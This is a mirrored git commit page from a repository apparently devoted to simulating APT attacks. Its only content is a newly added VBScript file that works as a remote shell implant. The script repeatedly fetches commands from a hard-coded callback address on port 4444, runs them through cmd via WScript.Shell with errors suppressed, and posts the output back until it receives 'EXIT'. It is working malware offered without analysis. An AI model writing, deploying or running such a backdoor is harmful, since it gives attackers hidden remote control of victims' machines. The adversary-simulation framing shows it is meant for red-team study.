mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,32 @@
|
||||
Option Explicit
|
||||
On Error Resume Next
|
||||
|
||||
CONST callbackUrl = "http://192.168.1.1:4444/"
|
||||
|
||||
Dim xmlHttpReq, shell, execObj, command, break, result
|
||||
|
||||
Set shell = CreateObject("WScript.Shell")
|
||||
|
||||
break = False
|
||||
While break <> True
|
||||
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
|
||||
xmlHttpReq.Open "GET", callbackUrl, false
|
||||
xmlHttpReq.Send
|
||||
|
||||
command = "cmd /c " & Trim(xmlHttpReq.responseText)
|
||||
|
||||
If InStr(command, "EXIT") Then
|
||||
break = True
|
||||
Else
|
||||
Set execObj = shell.Exec(command)
|
||||
|
||||
result = ""
|
||||
Do Until execObj.StdOut.AtEndOfStream
|
||||
result = result & execObj.StdOut.ReadAll()
|
||||
Loop
|
||||
|
||||
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
|
||||
xmlHttpReq.Open "POST", callbackUrl, false
|
||||
xmlHttpReq.Send(result)
|
||||
End If
|
||||
Wend
|
||||
Reference in New Issue
Block a user